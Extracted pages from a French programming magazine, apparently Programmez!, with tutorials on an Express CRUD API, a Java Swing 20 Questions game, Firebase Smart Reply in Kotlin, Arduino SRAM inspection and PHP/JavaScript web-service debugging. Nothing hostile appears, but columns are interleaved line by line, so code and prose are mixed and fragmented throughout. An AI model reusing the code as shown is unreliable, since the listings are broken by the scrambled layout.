« ExampleData » de la const itemId = req.params.id;
ligne cliquée. console.log("Delete item with id: ", itemId);
• La notification définie à // Delete item
l’ouverture de celle-ci db.run('DELETE FROM exampleData WHERE id = $id', { $id: itemId });
apparaît en affichant le });
champ name de ce dit //#endregion API | CRUD Actions
objet. Figure 21 : Aperçu succinct des méthode API en expressJS.
Création de la base
de données et
développement de l’API
Dans cet exemple, nous ne détaillons
pas tous les aspects de la création d’une base de données (BDD) Figure 23 : Schéma de la table "ExampleData".
et de son interface de programmation applicative (API). Le choix La suite de cet article dans le prochain numéro
54 //programmez.com
Sylvain Saurel JAVA
[email protected]
Développeur Java / Android
http://www.ssaurel.com
niveau
L
es règles du jeu des 20 Questions sont assez simples. Au
début du jeu, un joueur est choisi pour répondre. Cette per-
sonne choisit un objet ou un animal mais ne le révèle pas aux
autres. L'autre joueur est celui qui pose les questions. Il pose des
questions auxquelles on peut répondre par un simple "Oui" ou
200
"Non". Voici des exemples de questions : "Peut-il voler ?" ou "Vit-il
parfois dans l'eau ?". Si la personne posant les questions devine la
bonne réponse avant de poser 20 questions, il gagne. Sinon, s'il
pose 20 questions sans deviner correctement, la personne ayant
pensé à un objet ou à une chose l'a laissé sans réponse et il a donc
gagné.
Récemment, le jeu Français Akinator a repris le concept original du �
jeu des 20 Questions et l'a adapté avec succès aux smartphones Représentation des questions sous forme d'un Arbre de décision.
Android et iOS. Mieux encore, la version du jeu d'Akinator est plus
complexe puisque la réponse "Peut-être" est autorisée en plus des
simples "Oui" et "Non" du jeu original. package com.ssaurel.twentyquestions;
Pour notre implémentation, nous nous contenterons du jeu original
avec les réponses simples "Oui" et "Non" et nous ne limiterons pas // Modélisation de l'arbre de décision pour le jeu des 20 Questions
le nombre de questions à 20 pour donner plus de chances à l'ordi- public class TreeNode {
nateur, qui jouera le rôle du questionneur, de trouver l'objet auquel
le joueur va penser. Pour rendre notre jeu des 20 Questions plus at- // Les noeuds sont de type réponse ou question
tractif, nous utiliserons enfin une interface utilisateur construite enum Type {
avec l’API Swing. ANSWER, QUESTION
}
Représentation sous forme d’Arbre
Notre jeu sera basé sur un arbre contenant des questions avec des public static final String QUESTION_FLAG = "Q:";
réponses simples "Oui" et "Non". Nous serons donc en présence public static final String ANSWER_FLAG = "A:";
d'un arbre binaire. Notre arborescence aura des noeuds représen- public String data;
tés par la classe TreeNode. Chaque nœud pouvant être une public Type type;
Question ou une Réponse. Nous utiliserons un enum Type pour // Si un noeud est de type question, il a 2 enfants : un pour le Oui et un pour le Non
représenter cela. Chaque noeud stocke une chaîne de caractères et public TreeNode yes;
peut avoir deux enfants : une instance TreeNode pour le Oui et une public TreeNode no;
instance TreeNode pour le non. Évidemment, si le TreeNode est
une réponse, il n'aura pas d'enfants. � public TreeNode() {
L'arbre de décision contenant les questions sera chargé à partir }
d'un fichier brut. Chaque ligne représentant une question commen-
ce par la chaîne de caractères "Q :" et chaque ligne représentant public TreeNode(String data, Type type) {
une réponse commence par la chaîne de caractères "A :". Ainsi, this.data = data;
nous devons ajouter deux constantes dans notre TreeNode et this.type = type;
lorsque nous définirons les données de l'objet TreeNode, nous }
déterminerons le type du TreeNode en fonction de cet indicateur.
Cela nous donne le code suivant pour notre objet TreeNode : public boolean isQuestion() {
return Type.QUESTION.equals(type);
}
programmez.com// 55
JAVA
import java.io.File;
public void setData(String data) { import java.io.FileReader;
type = Type.QUESTION;
// Représentation de l'objet Tree pour le jeu des 20 Questions
if (data.startsWith(ANSWER_FLAG)) { public class Tree {
type = Type.ANSWER;
} public TreeNode root; // Racine de l'arbre
this.data = data.substring(2); // on retire le flag de la donnée stockée dans le noeud public Tree() {
} root = new TreeNode();
}
public void addYes(TreeNode yes) {
this.yes = yes; // Méthode de chargement des données depuis un fichier de données
} public void loadTree(String filename) {
File file = new File(filename);
public void addNo(TreeNode no) { FileReader fileReader = null;
this.no = no; BufferedReader buf = null;
}
} try {
fileReader = new FileReader(file);
Chargement des données dans notre buf = new BufferedReader(fileReader);
Arbre de décision buildTree(root, buf);
La partie la plus importante du jeu des 20 Questions est probable- } catch (Exception e) {
ment d'avoir un arbre de décision contenant d’excellentes ques- System.out.println("Erreur durant la construction de l'arbre : " + e.getMessage());
tions et réponses. Il fera la différence et permettra à notre ordina- } finally {
teur de trouver rapidement l'objet pensé par l'utilisateur. Pour try {
rendre notre programme plus flexible et réutilisable, les données if (fileReader != null) {
seront chargées à partir d'un fichier texte brut. De cette façon, il fileReader.close();
sera facile d'étendre notre jeu de 20 questions pour permettre aux }
utilisateurs de charger de nouvelles données avec leurs propres
arbres de décision. if (buf != null) {
Les données sont stockées dans le fichier brut en utilisant un algo- buf.close();
rithme de parcours en largeur. Il est important de connaître ces }
informations pour la méthode de chargement que nous écrirons } catch (Exception e) {
dans notre classe Tree. La classe Tree possède une propriété racine }
de type TreeNode. Nous définissons une méthode loadTree prenant }
en paramètre le nom d'un fichier brut contenant les données de }
l'arbre de décision.
Nous ouvrons le fichier et nous appelons une méthode buildTree avec // Méthode récursive de construction de l'arbre
la racine en paramètre et une instance de la classe BufferedReader private void buildTree(TreeNode currentNode, BufferedReader buf) throws Exception {
qui est utilisée pour lire le fichier ligne par ligne. Lorsque nous lisons String line = buf.readLine();
une ligne, nous effectuons les actions suivantes :
• Définir les données pour le noeud courant ; if (line != null) {
• Si le noeud courant est de type question : currentNode.setData(line);
- Créer 2 enfants respectivement un pour le Oui et un autre pour
le Non sous la forme d’objets TreeNode ; if (currentNode.isQuestion()) {
- Définir ces noeuds comme enfants du noeud courant ; TreeNode yesNode = new TreeNode();
- Appel récursif de la méthode buildTree afin de construire le TreeNode noNode = new TreeNode();
sous-arbre côté Oui à partir du fichier de données ; currentNode.yes = yesNode;
- Appel récursif de la méthode buildTree afin de construire le currentNode.no = noNode;
sous-arbre côté Non à partir du fichier de données. buildTree(yesNode, buf);
Cela nous donne l’implémentation suivante pour la classe Tree : buildTree(noNode, buf);
}
package com.ssaurel.twentyquestions; }
}
import java.io.BufferedReader; }
56 //programmez.com
JAVA
Une version simplifiée d’un fichier de données représentant un private void buildUI() {
arbre de décision pour faire deviner un animal pourrait avoir l’allu- // Construction de l'IHM
re suivante : JFrame frame = new JFrame("Jeu des 20 Questions pour Programmez!");
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
Q:Est-il blanc ? Container contentPane = frame.getContentPane();
Q:Est-ce un mâle ?
Q:Est-il jaune ? // Ajout des boutons
Q:Est-il lié à la famille des chats ? JPanel buttonsPanel = new JPanel();
Q:Peut-il s'agir de tous les animaux ?
Q:Allez-vous cliquer sur oui pour la dernière question ? yesButton = new JButton("Oui");
Q:Allez-vous répondre "non" à cette question ? yesButton.addActionListener(btnsListener);
Q:Peut-il tout faire ? buttonsPanel.add(yesButton, BorderLayout.LINE_START);
A:Dieu
A:oui restartButton = new JButton("Démarrer");
A:oui restartButton.addActionListener(btnsListener);
A:rien buttonsPanel.add(restartButton, BorderLayout.LINE_START);
A:Tigre du Bengale
A:Lapin noButton = new JButton("Non");
… noButton.addActionListener(btnsListener);
buttonsPanel.add(noButton, BorderLayout.LINE_END);
Création de l’IHM avec Swing
Maintenant, il est temps de passer à la création de l'interface utili- contentPane.add(buttonsPanel, BorderLayout.PAGE_END);
sateur de notre implémentation du jeu des 20 Questions. Notre
IHM aura une zone de texte pour afficher les questions à l'utilisa- // Ajout de la zone de texte
teur et trois boutons : textPane = new JTextPane();
• 1 bouton Oui pour permettre à l'utilisateur de cliquer sur oui et textPane.setEditable(false);
de progresser dans notre arbre de décision ; updateText("Pensez à un animal, puis cliquez sur Démarrer");
• 1 bouton Démarrer pour démarrer une nouvelle partie ;
• 1 bouton Non pour permettre à l'utilisateur de cliquer sur non et // Customisation du rendu
de progresser dans notre arbre de décision. SimpleAttributeSet bSet = new SimpleAttributeSet();
Elle ressemblera à ceci : � StyleConstants.setAlignment(bSet, StyleConstants.ALIGN_CENTER);
Les données de notre arbre de décision étant centrées autour de la StyleConstants.setFontSize(bSet, 22);
recherche d’un animal, nous demandons à l’utilisateur de penser à StyledDocument doc = textPane.getStyledDocument();
un animal. Néanmoins, avec un arbre de décision contenant plus doc.setParagraphAttributes(0, doc.getLength(), bSet, false);
de données, il serait possible de laisser un choix bien plus large à
l’utilisateur au moment où il doit penser à quelque chose que nous contentPane.add(textPane, BorderLayout.CENTER);
devons deviner ensuite. Le principe de fonctionnement serait le
même et seule la taille de l’arbre de décision changerait. frame.setMinimumSize(new Dimension(500, 250));
Nous utilisons l'API Swing pour construire cette interface utilisateur.
La zone de texte est un objet JTextPane et nous utilisons une ins- // On centre la JFrame à l’écran
tance BorderLayout pour disposer l'objet dans le volet contenu du Dimension objDimension = Toolkit.getDefaultToolkit().getScreenSize();
JFrame. Les trois boutons sont représentés par la classe JButton. int coordX = (objDimension.width - frame.getWidth()) / 2;
Cela nous donne la méthode buildUI suivante : int coordY = (objDimension.height - frame.getHeight()) / 2;
frame.setLocation(coordX, coordY);
// Affichage de l’IHM
�
frame.pack();
frame.setVisible(true);
}
programmez.com// 57
JAVA
• Une méthode yes pour gérer le comportement de notre jeu des @Override
20 Questions lorsque le joueur clique sur Oui pour une question ; public void actionPerformed(ActionEvent e) {
• Une méthode no pour gérer le comportement de notre Jeu des Object source = e.getSource();
20 Questions lorsque le joueur clique sur Non pour une ques-
tion ; if (source == yesButton)
• Une méthode start pour gérer le démarrage du jeu. yes();
Nos objets définis précédemment sont assemblés au sein d’une else if (source == noButton)
classe TwentyQuestions. Nous définissons une propriété no();
currentNode pour garder un pointeur de notre position dans l'arbre else if (source == restartButton)
de décision. Au début du jeu des 20 Questions, currentNode pointe restart();
donc vers la racine de l'arbre de décision. Cette étape est implé-
mentée dans la méthode start. }
Lorsque la méthode yes est appelée, nous savons que l'utilisateur a };
cliqué sur Oui pour la question ou la réponse affichée. Nous devons
donc suivre le chemin du Oui de notre noeud actuel. Si le nouveau public static void main(String[] args) {
nœud courant est une question, nous affichons les données qu'il TwentyQuestions twentyQuestions = new TwentyQuestions();
contient à l'écran. Sinon, nous affichons un message à l'utilisateur twentyQuestions.tree = new Tree();
pour lui demander s'il a pensé à la réponse présente dans le noeud twentyQuestions.tree.loadTree("/Users/ssaurel/eworkspace/TwentyQuestions/animals
courant. Si le nouveau noeud courant était nul, nous savons que _questions.txt");
nous avons trouvé la bonne réponse et nous pouvons afficher un
message du type "J’ai trouvé !" à l'utilisateur. SwingUtilities.invokeLater(new Runnable() {
La logique est la même pour la méthode no. La différence est que @Override
lorsque le noeud courant obtenu en suivant le chemin Non du public void run() {
noeud courant est nul, il faut afficher un message "J’ai perdu !" à twentyQuestions.buildUI();
l'utilisateur. }
Tout ceci nous donne le code complet suivant pour la classe });
TwentyQuestions : }
58 //programmez.com
JAVA
StyleConstants.setFontSize(bSet, 22); started = true;
StyledDocument doc = textPane.getStyledDocument(); updateText("Pensez à un animal, puis cliquez sur Démarrer");
doc.setParagraphAttributes(0, doc.getLength(), bSet, false); currentNode = tree.root;
updateText(currentNode.data);
contentPane.add(textPane, BorderLayout.CENTER); }
}
frame.setMinimumSize(new Dimension(500, 250));
private void updateText(String txt) {
Dimension objDimension = Toolkit.getDefaultToolkit().getScreenSize(); textPane.setText("\n" + txt);
int coordX = (objDimension.width - frame.getWidth()) / 2; }
int coordY = (objDimension.height - frame.getHeight()) / 2; }
frame.setLocation(coordX, coordY);
Notre jeu des 20 Questions en action
frame.pack(); Il est temps de lancer notre jeu des 20 Questions et de vérifier si
frame.setVisible(true); l’ordinateur arrive bien à deviner l’animal auquel nous pensons à
} savoir une "Autruche". En répondant correctement par "Oui" ou par
"Non" aux différentes questions, nous obtenons l’affichage suivant :
private void yes() { �
// On suit la branche Oui dans notre arbre de décision Il ne nous reste plus alors qu’à cliquer sur oui pour terminer la par-
if (started && currentNode != null) { tie et reconnaître que l’ordinateur a su trouver l’animal auquel
currentNode = currentNode.yes; nous pensions.
programmez.com// 59
ML Mehdi Slimani
Expert mobile à Ineat.
Fondateur du meetup Flutter Lille.
@mslimanii
60 //programmez.com
ML
programmez.com// 61
ML
val conversations = MESSAGES.map {
val messageTranslated = frenchEnglishTranslator.translate(it.text).await()
when(it.isMe) {
true -> FirebaseTextMessage.createForLocalUser(messageTranslated, it.createAt)
false -> FirebaseTextMessage.createForRemoteUser(messageTranslated, it.createAt, "1")
}
}
62 //programmez.com
ML
messageTranslated,
// Démarrer it.createAt
launch(context = Dispatchers.IO) { )
val frenchEnglishTranslator = createTranslator( false -> FirebaseTextMessage.createForRemoteUser(
sourceLanguage = FirebaseTranslateLanguage.FR, messageTranslated,
targetLanguage = FirebaseTranslateLanguage.EN it.createAt,
) "1"
val englishFrenchTranslator = createTranslator( )
sourceLanguage = FirebaseTranslateLanguage.EN, }
targetLanguage = FirebaseTranslateLanguage.FR }
)
val smartReplies = getSmartReplies(frenchEnglishTranslator, englishFrenchTranslator) val smartReply = FirebaseNaturalLanguage.getInstance().smartReply
withContext(Dispatchers.Main) { val result = smartReply.suggestReplies(conversations).await()
displaySmartReplies(smartReplies) return when (result.status) {
} SmartReplySuggestionResult.STATUS_SUCCESS -> result
} .suggestions
} .filter { it.confidence >= 0 }
.sortedByDescending {
@UiThread Log.d("sortedByDescending", it.text + " " + it.confidence)
private fun displaySmartReplies(smartReplies: List<String>) { it.confidence
chips.removeAllViews() }
smartReplies .map { translateEnglishToFrench(it.text) }
.map { msg -> SmartReplySuggestionResult.STATUS_NOT_SUPPORTED_LANGUAGE -> {
Chip(this@MainActivity).apply { // Display exception
text = msg emptyList()
setOnClickListener { }
chips.removeAllViews() else -> {
MESSAGES.add( // No replies
Message( emptyList()
isMe = true, }
text = msg, }
createAt = System.currentTimeMillis() }
)
) }
recycler.adapter?.notifyDataSetChanged() Source du projet
} Les sources du projet sont disponibles sur Github :
} https://github.com/ineat/firebase-smart-reply-android
}
.forEach(chips::addView) Conclusion
} Firebase Smart Reply est très efficace pour générer des suggestions
automatiques pour vos messageries instantanées. Les suggestions
pourront être intégrées dans des notifications, des raccourcis dans
private suspend fun getSmartReplies( l’écran, etc.
frenchEnglishTranslator: FirebaseTranslator, Encore en version bêta, le Français n’est pas encore officiellement
englishFrenchTranslator: FirebaseTranslator supporté, les messages traduits produisent des suggestions correctes
): List<String> { mais celles-ci pourraient être plus pertinentes dans le futur. Nous
avons hâte de tester cette fonctionnalité dans sa future release. •
suspend fun translateFrenchToEnglish(msg: String) = frenchEnglishTranslator
.translate(msg).await() Liens utiles
suspend fun translateEnglishToFrench(msg: String) = englishFrenchTranslator Firebase ML Kit : https://firebase.google.com/docs/ml-kit
.translate(msg).await() Cloud AutoML Vision : https://cloud.google.com/vision/automl/docs/
Tensorflow : https://www.tensorflow.org/
val conversations = MESSAGES.map { Tensorflow Lite : https://www.tensorflow.org/lite
val messageTranslated = translateFrenchToEnglish(it.text) Firebase Smart Reply : https://firebase.google.com/docs/ml-kit/android/genera-
when (it.isMe) { te-smart-replies
true -> FirebaseTextMessage.createForLocalUser( Kotlin coroutine : https://blog.ineat-conseil.fr/2018/05/kotlin-les-coroutines/
programmez.com// 63
ARDUINO
Renaud Pinon
Développeur
Créateur de Tiny Code Studio
C
'est l'instant publicité ;) Le sujet de cet article s'est imposé à
niveau moi suite au développement de mon application Tiny Code tager quelques informations intéressantes qui, même si elles ne
64 //programmez.com
ARDUINO
Fonctionnement de la SRAM
La SRAM est décomposée en plusieurs sections : l'une est de taille
fixe (les registres), les autres de tailles variables. Voici la représen- Obtenir l'adresse d'une variable
tation schématique d'une SRAM : � Les adresses mémoires sont codées sur 2 octets. Pour obtenir
• Registres : valeurs des différents registres du processeur : R0 à l'adresse mémoire d'une variable on utilise l'opérateur de référence-
R31 qui ont une taille fixe ainsi que les registres E/S, qui sont de ment "&" et on caste le tout en int ou uint16_t (les SRAM internes
taille variable suivant le modèle de carte. Pour vulgariser, ces der- ne dépassent jamais 8 ko donc ça tient sur 2 octets). On teste :
niers correspondent à l'état des différentes broches de votre
Arduino (même si la lecture n'est pas aussi simple que ça puisque void setup()
l'état d'une seule broche dépend de plusieurs registres à la fois). {
• .Data : contient les variables globales initialisées + les variables Serial.begin(9600);
locales "static" initialisées. }
• .Bss : contient les variables globales non initialisées + variables
locales "static" non initialisées. void loop()
• Tas (Heap) : blocs de données alloués par malloc() ou l'opérateur {
new. Les nouvelles allocations ont lieu de manière croissante (la int x = 0, y = 0, z = 0;
valeur de l'adresse augmente petit à petit). Contrairement aux
variables classiques, les variables déclarées par malloc() ou new uint16_t varAddress1 = (uint16_t)&x;
doivent obligatoirement être libérées, respectivement par free() et uint16_t varAddress2 = (uint16_t)&y;
delete, sous peine de perdurer en mémoire même si la fonction uint16_t varAddress3 = (uint16_t)&z;
dans laquelle elles ont été déclarées est terminée.
• Pile (Stack) : contient les variables locales qui ne sont pas Serial.println("Addr1: Ox" + String(varAddress1, HEX));
allouées par malloc() ou new. Il s'agit des variables dites "clas- Serial.println("Addr2: Ox" + String(varAddress2, HEX));
siques" (int, float, structures, …). Elles sont automatiquement Serial.println("Addr3: Ox" + String(varAddress3, HEX));
créées à l'entrée d'une fonction et sont automatiquement suppri-
mées de la mémoire lors de la sortie de cette fonction. A savoir // Valeur fin de RAM:
que les variables de la pile sont déclarées dans le sens inverse du Serial.println("RAMEND: Ox" + String(RAMEND, HEX));
tas : la section débute à l'adresse RAMEND et décroit petit à
petit. Si jamais le tas ou la pile grandit de façon trop importante, delay(10000);
vous risquez la collision ! }
programmez.com// 65
ARDUINO
Nous initialisons 3 variables dans la fonction loop(). Le type int On obtient le résultat:
étant un type "classique", les variables devraient se retrouver dans
Addr1: Ox4e3
la pile et donc avoir des adresses décroissantes. Sur un Arduino
Addr2: Ox4ef
Mega, j'obtiens le résultat suivant :
Si on regarde la documentation de l'Arduino Mega, les registres se
Addr1: Ox21ec
terminent à l'octet 0x200 (512 en décimal) de la SRAM. Se trou-
Addr2: Ox21ea
vent ensuite les sections .data et .bss, puis le tas. On peut donc sup-
Addr3: Ox21e8
poser que 0x04E3 se trouve bien au début du tas. Mais surprise !
RAMEND: Ox21ff
0x4EF moins 0x4E3 donne 0x0C, soit 12 en décimal et non pas 10.
On a bien des adresses décroissantes et espacées de 2 octets, ce C'est en réalité parce qu'un bloc mémoire alloué dans le tas est tou-
qui est la taille du type int. jours précédé de 2 octets décrivant sa longueur. Cela veut dire que
Pour obtenir la taille d'une variable en mémoire, on utilise la fonc- si on veut connaître la taille d'un bloc inconnu, il suffit de lire la
tion sizeof(). Par exemple, et ce, quelle que soit la machine, valeur à pointeur - 2. Nice ! �
sizeof(uint16_t) donnera toujours "2", sizeof(uint32_t) donnera tou-
jours "4". int ou long sont par contre dépendants de la machine sur Obtenir les données d'une variable
laquelle s'exécute le code (2 et 4 octets pour les Arduino). Pour obtenir la valeur d'une variable, nous allons regarder l'adresse
On peut passer en argument de sizeof() soit le nom d'un type, soit de cette dernière, puis convertir les octets à cette position en hexa-
le nom d'une variable, ce qui rend la fonction particulièrement ver- décimal. Comme les types de variables peuvent avoir une longueur
satile. Cela fonctionne également pour les tableaux : si vous décla- de données différente, nous allons créer une fonction qui lit la
rez un tableau de 10 éléments de type uint32_t, alors valeur à l'adresse voulue sur une taille d'octets déterminée, puis
sizeof(tableau) vous renverra bien la valeur 40. Cela fonctionne l'imprime en hexadécimal sur le port série de l'ordinateur :
aussi avec les structures et objets du moment qui ne sont pas des
void PrintVariable(uint16_t address, int len)
pointeurs (donc pas déclarés avec l'opérateur new). Sizeof(), utilisée
{
sur un pointeur, renverra toujours 2.
// On place un pointeur à l'adresse:
uint8_t* pointer = (uint8_t*)address;
Allocation dans le tas
Essayons maintenant d'allouer deux buffers de 10 octets chacun. Ils
Serial.print("Ox");// On commence l'écriture.
devraient logiquement se trouver dans le tas :
for (int i = 0 ; i < len ; i++)
// void setup() éludée… {
void loop() uint8_t val = *(pointer+i); // valeur d'1 octet.
{ Serial.print((val < 16 ? "0" : "") + String(val, HEX));
uint8_t* buffer1 = (uint8_t*)malloc(10); }
uint8_t* buffer2 = (uint8_t*)malloc(10); Serial.println(""); // CRLF
PrintVariable((uint16_t)&maVar, sizeof(maVar));
// et de la taille avec sizeof():
delay(10000);
}
Par simplicité je n'ai pas mis le prototype ni les fonctions
PrintVariable() et setup(). N'oubliez pas Serial.begin(vitesse) dans
66 //programmez.com
ARDUINO
cette dernière. A l'exécution, on obtient le résultat suivant dans le tivement, à l'exécution on obtient :
moniteur série (toutes les 10 secondes) :
0xa0a0a0a0a0a0a0a0a0a0
0x20000000
Obtenir la taille
soit 0X20 suivi de trois fois 0X00, ce qui, lu à l'envers et en décimal des différentes sections
donne bien 32. Même si ce n'est pas très connu, on peut obtenir assez facilement
On peut également utiliser la fonction sur un tableau d'éléments la quantité de mémoire utilisée par chacune des sections en SRAM.
(un tableau est stocké dans la pile et se libère automatiquement Il existe des variables, à déclarer avec le mot-clé "extern", qui se
une fois la fonction terminée). Voici un exemple : chargent de nous donner les débuts et fins de chaque section. Avec
juste un petit twist pour le tas : la variable __heap_end existe bel et
void loop()
bien mais sa valeur n'est pas fiable. Je propose donc la fonction sui-
{
vante :
byte tableau[] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};
PrintVariable((uint16_t)&tableau, sizeof(tableau)); // Ecrit les taille de chaque section:
void PrintMemusage()
delay(10000); {
} extern char* __data_start;
extern char* __data_end;
Le résultat donne:
extern char* __bss_start;
0x00010203040506070809 extern char* __bss_end;
extern char* __heap_start;
Imprimer le contenu d'un buffer // prochaine allocation du tas disponible:
Imaginons maintenant que vous voulions imprimer le contenu d'un
extern char* __brkval;
buffer et que nous ne sachions pas quelle taille il a. Nous allons uti-
liser la technique vue précédemment dans le schéma Allocation
uint16_t memReg = (uint16_t)&__data_start;
mémoire dans le tas, à savoir reculer de 2 octets pour obtenir la
uint16_t memData = (uint16_t)&__data_end - (uint16_t)&__data_start;
taille. Je propose ceci :
uint16_t memBss = (uint16_t)&__bss_end - (uint16_t)&__bss_start;
void loop() uint16_t memHeapTtl = ((uint16_t)__brkval == 0) ? 0 : (__brkval - __malloc_heap_start);
{
// On crée un buffer: uint16_t memStack = RAMEND - SP; // SP = pointeur de pile.
uint8_t* buffer = (uint8_t*)malloc(10); uint16_t freeRam = SP - ((int)&__heap_start + memHeapTtl);
// On initialise tous les octets à 0xa0:
memset(buffer, 0xa0, 10); Serial.println("Registres: " + String(memReg) + " octets");
Serial.println(".Data: " + String(memData) + " octets");
// Imaginons maintenant qu'on ne Serial.println(".Bss: " + String(memBss) + " octets");
// connaisse pas la taille du buffer: Serial.println("Tas1: " + String(memHeapTtl) + " octets");
Serial.println("Pile: " + String(memStack) + " octets");
// Adresse du buffer dans le tas: Serial.println("Libre: " + String(freeRam) + " octets");
uint16_t address = (uint16_t)buffer; }
On voit que ces variables spéciales sont des pointeurs vers un type
uint8_t* pointer = (uint8_t*)(address - 2);
char (notez qu'elles commencent par 2 tirets bas et pas un seul).
Leurs noms sont assez parlants, sauf pour __brkval qui est un poin-
// Taille:
teur vers le prochain emplacement disponible dans le tas : s'il vaut
uint16_t len = 0;
0, alors il n'y a aucun octet alloué dans le tas. Sinon, il est forcé-
// On copie la valeur à l'adresse -2 dans len:
ment supérieur à __malloc_heap_start et on obtient la taille en lui
memcpy(&len, pointer, sizeof(uint16_t));
retranchant cette valeur.
Pour info l'Arduino n'a pas de Garbage Collector : il écrit toujours
pointer += 2;
la prochaine allocation à la fin du tas. Si on déclare 2 buffers, qu'on
PrintVariable((uint16_t)pointer, len);
libère le premier mais pas le deuxième puis qu'on en crée un troi-
sième, ce dernier n'ira pas dans l'espacement libéré par buffer 1,
free(buffer); // On libère !
même si la place est suffisante. Cet espace est alors perdu ! �
Enfin parlons de la macro SP : elle signifie Stack Pointer et renvoie
delay(10000);
l'adresse du dernier octet de la pile (donc le moins élevé). On s'en
}
servira beaucoup plus dans le prochain article car on peut faire
Si tout va bien, on devrait obtenir en résultat 10 fois 0xA0 ; mem- plein de choses sympathiques avec.
set() a initialisé chaque octet de notre buffer à cette valeur. Et effec- Testons tout de suite notre fonction avec le programme suivant qui
programmez.com// 67
ARDUINO
void loop()
{
uint8_t* buff1 = (uint8_t*)malloc(10);
uint8_t* buff2 = (uint8_t*)malloc(20);
PrintMemusage();
free(buff2); // Libérée !
free(buff1); // Délivrée !
delay(10000);
}
Résultat :
pourquoi ?
Nous verrons dans le prochain article comment obtenir les numé-
En fait la raison est très simple : nous avons été victimes des
ros d'instructions qui sont stockées en mémoire Flash, comment
fers, mais ne les avons pas utilisés puis les avons libérés. Le
mini debugger logiciel qui nous permettra d'arrêter l'exécution d'un
68 //programmez.com
JAVASCRIPT
Denis Duplan
sociologue et développeur à ses heures.
Blog : http://www.stashofcode.fr
Déboguer facilement
un service Web en PHP et JavaScript
S’il vous en reste, le développement d’un service Web en JavaScript (côté client) et PHP (côté serveur) est une
bonne occasion de vous arracher des cheveux. Le débogage est une opération délicate, quand vous ne pouvez pas
vous appuyer sur un système tel que Xdebug.
C
’est que dans une application Web traditionnelle, un appel
niveau de service consiste simplement à appeler un script PHP dont Dans notre architecture, le client dispose d’un objet Request :
200 l’écran.
le contenu est retourné par le serveur. Dès lors, toute erreur
survenant lors de l’exécution du service s’affiche nécessairement à function Request (service, params, debug=false) {
this.service = service;
Il en va tout autrement dans le cas d’une application Web moderne, this.params = params;
de type Progressive Web Application. Ici, l’appel de service s’effec- this.debug = debug;
tue par le truchement d’un objet XMLHttpRequest . Le résultat de l’exé- }
cution du script est toujours renvoyé par le serveur, mais il parvient
au client via une des propriétés de cet objet. Les propriétés sont les suivantes :
Dans ces conditions, le callback fourni à l’objet XMLHttpRequest doit
.service Le nom du service à invoquer
analyser ce résultat pour déterminer si une erreur ou non a été ren-
contrée, et si oui, remonter au développeur toutes les informations .params L’objet (quelconque, pourvu qu’il soit sérialisable) conte-
utiles qu’il voyait s’afficher à l’écran dans le cas d’une application nant les paramètres à transmettre au service
Web traditionnelle : chemin d’accès au script, ligne dans le script .debug Un drapeau à true pour indiquer que le client veut traiter
où l’erreur est survenue, description de l’erreur, voire plus (Figure la requête en mode débogage (pas utilisé)
�).
Puisqu’il s’agit de permettre le débogage d’un service Web, com- Le client dispose d’une implémentation homologue de l’objet
mençons par mettre en place une petite architecture. Nous fonc- Response du serveur, qui sera décrit plus loin. La seule différence est
tionnerons à l’économie, c’est-à-dire à l’abri de tous les standards dans la méthode. Pour les propriétés, ce sont les mêmes :
qui compliquent et ralentissent le développement d’un service Web. .service.code , .data , .debug .
En particulier, fi de XML, SOAP et autres WSDL : nous utiliserons
du JSON pour sérialiser les données échangées, point barre. Un service est un objet héritant de l’objet Service :
programmez.com// 69
JAVASCRIPT
Le constructeur du service appelle celui de Service pour lui fournir service, sauf en cas d’erreur (.code à 1 ou 2), où c’est
l’URL du script à appeler, et le nom du service à invoquer via ce un objet qui renseigne sur l’erreur :
script. .file Le fichier du script dans lequel l’erreur est survenue
Pour présenter une requête au service sur le serveur, le client crée .line La ligne du script à laquelle l’erreur est survenue
l’objet correspondant au Service et en appelle la méthode .run () ,
.message La description de l’erreur
en lui transmettant un objet qui contient les paramètres de la
requête, sérialisable. .debug Un drapeau à true pour indiquer que le serveur veut
Le reste est pris en charge par Service.prototype.run () : traiter la réponse en mode débogage (pas utilisé)
• elle crée un objet Request en lui fournissant le nom du service, et Le serveur dispose d’une implémentation homologue de l’objet
l’objet contenant les paramètres à transmettre à ce dernier ; Request du client. La seule différence est dans la méthode. Pour les
• elle crée un objet XMLHttpRequest pour envoyer la requête au script propriétés, ce sont les mêmes : .service , .params et .debug .
sous la forme d’un objet FormData contenant le résultat de la Un service est une classe dérivée de la classe Service :
sérialisation de l’objet Request ;
class Service {
• elle retourne un objet Promise permettant de spécifier comment
public $name, $debug;
traiter le résultat de la requête, selon que cette dernière a réussi
function __construct ($name, $debug=false) {
ou échoué – disposer d’un tel objet permet de chaîner les
$this->name = $name;
requêtes.
$this->debug = $debug;
Le callback fourni à l’objet XMLHttpRequest est la méthode
}
Service.prototype.callback () . Elle est donc appelée par le navigateur
function run ($params) {
pour rendre compte de l’échange HTTP, dont l’éventuelle arrivée
}
d’une réponse du serveur.
function reply ($response) {
Lorsqu’une réponse arrive, elle se présente sous la forme d’un
header ('Content-Type: application/json');
document JSON qui n’est autre que le résultat de la sérialisation
echo ($response);
d’une instance de la classe Response définie en PHP sur le serveur.
exit ();
Le client désérialise ce JSON pour créer un objet JavaScript
}
Response homologue, puis il en traite le contenu. Il peut s’agir d’une
}
réponse véritable, le service ayant pu traiter la requête, ou d’un
message d’erreur rencontrée par PHP ou le service. Lorsqu’il est appelé sur requête du client, le script désérialise le
contenu du paramètre CGI request pour reconstruire l’homologue
La base d’un service Web, côté serveur de l’objet Request du client sous la forme d’une instance de la clas-
Comme déjà mentionné, le serveur dispose donc d’une classe – se Request. Il utilise Request::service pour former le nom de la classe du
pas d’un objet, car nous sommes en PHP, et non en JavaScript – service à invoquer, instancie cette classe, et en appelle la méthode
homologue de l’objet Response du client : ::run () en lui transmettant l’objet Request::params :
70 //programmez.com
JAVASCRIPT
function ServiceGetTables (debug=false) { tallation – peuvent être formatées comme les erreurs rencontrées
Service.call (this, "<!--?php echo (htmlspecialchars (SITE_VPATH)) ?-->services.php", par le service, et le client peut ainsi traiter les deux pareillement.
"GetTables", debug); En l’occurrence, il s’agit de créer renvoyer une réponse comme
} celle que le client attend, si ce n’est qu’elle comporte un code
ServiceGetTables.prototype = Object.create (Service.prototype); signalant qu’une erreur a été rencontrée :
Sur le serveur, il suffit d’écrire une classe dérivant de la classe Toutefois, certaines erreurs ne peuvent être interceptées de la sorte.
Service . Par exemple : La documentation de set_error_handler () précise :
